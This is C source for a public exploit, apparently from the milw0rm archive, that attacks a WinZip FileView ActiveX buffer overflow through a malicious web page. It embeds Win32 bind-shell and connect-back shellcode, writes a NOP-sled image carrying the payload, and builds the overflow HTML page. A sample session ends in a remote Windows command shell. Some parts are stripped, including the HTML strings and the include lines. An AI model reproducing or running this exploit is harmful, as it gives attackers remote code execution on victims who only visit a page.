/* WinZip <= 10.0.7245 FileView ActiveX buffer overflow exploit * ============================================================ * A vulnerability has been identified within Winzip that allows remote * attackers to execute arbitrary code. User interaction is required to * exploit this vulnerability in that the target must visit a malicious * web page. The flaw exists within "FileView" ActiveX control which * contains stack based overflow conditions. This exploit generates a * malicious html page and contains shellcode embedded within an image * file. Due to the random nature of the heap, this exploit uses hard * coded location of the image bytes within the heap and as such is * unreliable in exploitation of this bug, but has approximately 1 in * 6 hit ratio within the tested environment. * * Example. * $ ./prdelka-vs-MS-winzip -f index.html -i foo.bmp -s 0 -t 0 * [ WinZip <= 10.0.7245 FileView ActiveX overflow exploit * [ Using shellcode 'Win32 x86 bind() shellcode (4444/tcp default)' (400 bytes) * [ Using target 'WinXP SP2(en) WinZIP 10.0.6667' * [ Creating image containing shellcode 'foo.bmp' * [ Creating html exploit page 'index.html' * $ * ... clicky clicky MSIE ... * $ telnet 192.168.1.223 4444 * Connected to 192.168.1.223. * Escape character is '^]'. * * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\Documents and Settings\User\Desktop> * * - prdelka */ #include #include #include #include #include #include #include #define NOPSIZE 999999 struct target { char* name; int retaddr; }; struct shellcode { char* name; short port; int host; char* shellcode; }; int targetno = 1; struct target targets[] = { {"WinXP SP2(en) WinZIP 10.0.6667",0x02DA3269} /* IE 6.0.2900.2180.xp_sp2_gdr.050301-1519 WZ 10.0(6667)" */ }; int shellno = 2; struct shellcode shellcodes[] = { {"Win32 x86 bind() shellcode (4444/tcp default)",162,-1, "\x48\x40\xf5\x49\xd6\x4a\xf9\x91\x47\x96\x2f\xf8\x9b\x37\x41\xf5" "\x99\x47\xf9\xf9\xfc\xf9\x48\x4e\x4b\x9b\x90\x9b\xf5\x97\x40\xf9" "\xd6\x41\xf9\x48\x9b\x92\xfd\x9b\x49\x42\x4f\x9f\x90\xd6\x27\x9b" "\x93\x46\x2f\x90\xfd\x4a\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b" "\x81\x73\x13\xbc\xe8\x2b\x27\x83\xeb\xfc\xe2\xf4\x3d\x2c\x7f\xd5" "\x43\x17\xd7\x4d\x57\xa5\xc3\xde\x43\x17\xd4\x47\x37\x84\x0f\x03" "\x37\xad\x17\xac\xc0\xed\x53\x26\x53\x63\x64\x3f\x37\xb7\x0b\x26" "\x57\xa1\xa0\x13\x37\xe9\xc5\x16\x7c\x71\x87\xa3\x7c\x9c\x2c\xe6" "\x76\xe5\x2a\xe5\x57\x1c\x10\x73\x98\xc0\x5e\xc2\x37\xb7\x0f\x26" "\x57\x8e\xa0\x2b\xf7\x63\x74\x3b\xbd\x03\x28\x0b\x37\x61\x47\x03" "\xa0\x89\xe8\x16\x67\x8c\xa0\x64\x8c\x63\x6b\x2b\x37\x98\x37\x8a" "\x37\xa8\x23\x79\xd4\x66\x65\x29\x50\xb8\xd4\xf1\xda\xbb\x4d\x4f" "\x8f\xda\x43\x50\xcf\xda\x74\x73\x43\x38\x43\xec\x51\x14\x10\x77" "\x43\x3e\x74\xae\x59\x8e\xaa\xca\xb4\xea\x7e\x4d\xbe\x17\xfb\x4f" "\x65\xe1\xde\x8a\xeb\x17\xfd\x74\xef\xbb\x78\x74\xff\xbb\x68\x74" "\x43\x38\x4d\x4f\xad\xb4\x4d\x74\x35\x09\xbe\x4f\x18\xf2\x5b\xe0" "\xeb\x17\xfd\x4d\xac\xb9\x7e\xd8\x6c\x80\x8f\x8a\x92\x01\x7c\xd8" "\x6a\xbb\x7e\xd8\x6c\x80\xce\x6e\x3a\xa1\x7c\xd8\x6a\xb8\x7f\x73" "\xe9\x17\xfb\xb4\xd4\x0f\x52\xe1\xc5\xbf\xd4\xf1\xe9\x17\xfb\x41" "\xd6\x8c\x4d\x4f\xdf\x85\xa2\xc2\xd6\xb8\x72\x0e\x70\x61\xcc\x4d" "\xf8\x61\xc9\x16\x7c\x1b\x81\xd9\xfe\xc5\xd5\x65\x90\x7b\xa6\x5d" "\x84\x43\x80\x8c\xd4\x9a\xd5\x94\xaa\x17\x5e\x63\x43\x3e\x70\x70" "\xee\xb9\x7a\x76\xd6\xe9\x7a\x76\xe9\xb9\xd4\xf7\xd4\x45\xf2\x22" "\x72\xbb\xd4\xf1\xd6\x17\xd4\x10\x43\x38\xa0\x70\x40\x6b\xef\x43" "\x43\x3e\x79\xd8\x6c\x80\x55\xff\x5e\x9b\x78\xd8\x6a\x17\xfb\x27"}, {"Win32 x86 connect() shellcode (4444/tcp default)",167,160, "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" "\x01\x02\x03\x04\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"} }; char html1[]="\r\n\r\n\r\n\r\n" "\r\n\r\n

\r\n

\r" "\n\r\n\r\n"; char bmphdr[]="\x42\x4d\x3e\xbb\x2d\x00\x00\x00\x00\x00\x36\x00\x00" "\x00\x28\x00\x00\x00\xe7\x03\x00\x00\xe7\x03\x00\x00" "\x01\x00\x18\x00\x00\x00\x00\x00\x08\xbb\x2d\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00"; int ret; void help(char* progname){ int count; printf("[ Usage instructions.\n[\n"); printf("[ %s (optional)\n[\n[ --filename|-f \n",progname); printf("[ --imgname|-i \n[ --shellcode|-s \n"); printf("[ --shellport|-p (port)\n"); printf("[ --shellhost|-i (ip)\n"); printf("[ --target|-t \n[\n"); printf("[ Target#'s\n"); for(count = 0;count <= targetno - 1;count++){ printf("[ %d %s 0x%x\n",count,targets[count],targets[count]); } printf("[\n[ Shellcode#'s\n"); for(count = 0;count <= shellno - 1;count++){ printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode)); } exit(0); } void setret(char* retarg){ int value = atoi(retarg); switch(value){ case 0: printf("[ Using target '%s'\n",targets[ret].name); ret = targets[ret].retaddr; break; default: ret = strtoul(retarg,NULL,16); printf("[ Using return address '0x%x'\n",ret); break; } } int main(int argc, char* argv[]){ unsigned long i, fd; int c, index, payg, paya, lhost; short shellport, shellport2; int ishell = 0, itarg = 0; char *buffer, *file, *img, *payload; static struct option options[] = { {"filename", 1, 0, 'f'}, {"imgname", 1, 0, 'i'}, {"target", 1, 0, 't'}, {"shellcode", 1, 0, 's'}, {"shellport", 1, 0, 'p'}, {"shellhost", 1, 0, 'd'}, {"help", 0, 0,'h'} }; printf("[ WinZip <= 10.0.7245 FileView ActiveX overflow exploit\n"); while(c != -1){ c = getopt_long(argc,argv,"f:i:t:s:p:d:h",options,&index); switch(c){ case 'f': file = optarg; break; case 'i': img = optarg; break; case 't': itarg = 1; setret(optarg); if(strlen((char*)&ret) < 4){ fprintf(stderr,"[ Selected target contains a null address!\n"); exit(-1); } break; case 's': if(ishell==0){ payg = atoi(optarg); switch(payg){ case 0: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; case 1: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; default: printf("[ Invalid shellcode selection %d\n",payg); exit(0); break; } } break; case 'p': if(ishell==1){ if(shellcodes[payg].port > -1){ paya = strlen(payload); shellport = atoi(optarg); shellport2 = shellport; shellport =(shellport&0xff)<<8 | shellport>>8; memcpy((void*)&payload[shellcodes[payg].port],&shellport,sizeof(shellport)); if(paya > strlen(payload)) { printf("[ Error shellcode port introduces null bytes\n"); exit(1); } printf("[ Shellcode port changed to '%u'\n",atoi(optarg)); } else{ printf("[ (%s) port selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg); } break; case 'd': if(ishell==1){ if(shellcodes[payg].host > -1){ paya = strlen(payload); lhost = inet_addr(optarg); memcpy((void*)&payload[shellcodes[payg].host],&lhost,sizeof(lhost)); if(paya > strlen(payload)){ printf("[ Error shellhost introduces null bytes\n"); exit(1); } printf("[ Shellhost has been changed to '%s'\n",optarg); } else{ printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg); } } else { printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg); } break; case 'h': help(argv[0]); break; default: break; } } if(ishell==0||itarg==0||strlen(file)==0||strlen(img)==0){ printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]); exit(0); } // create image printf("[ Creating image containing shellcode '%s'\n",img); fd = open(img,O_RDWR|O_CREAT,S_IRWXU); if(fd == -1){ fprintf(stderr,"[ Error creating %s\n",file); exit(-1); } write(fd,bmphdr,sizeof(bmphdr)); for(i = 0;i < NOPSIZE;i++){ write(fd,"\x90",1); } write(fd,payload,strlen(payload)); close(fd); // create html printf("[ Creating html exploit page '%s'\n",file); fd = open(file,O_RDWR|O_CREAT,S_IRWXU); if(fd == -1){ fprintf(stderr,"[ Error creating %s\n",file); exit(-1); } write(fd,html1,strlen(html1)); for(i = 0;i < 265;i++){ write(fd,"A",1); } write(fd,&ret,4); for(i = 0;i < 1827;i++){ write(fd,"A",1); } write(fd,html2,strlen(html2)); write(fd,img,strlen(img)); write(fd,html3,strlen(html3)); close(fd); } // milw0rm.com [2006-11-15]

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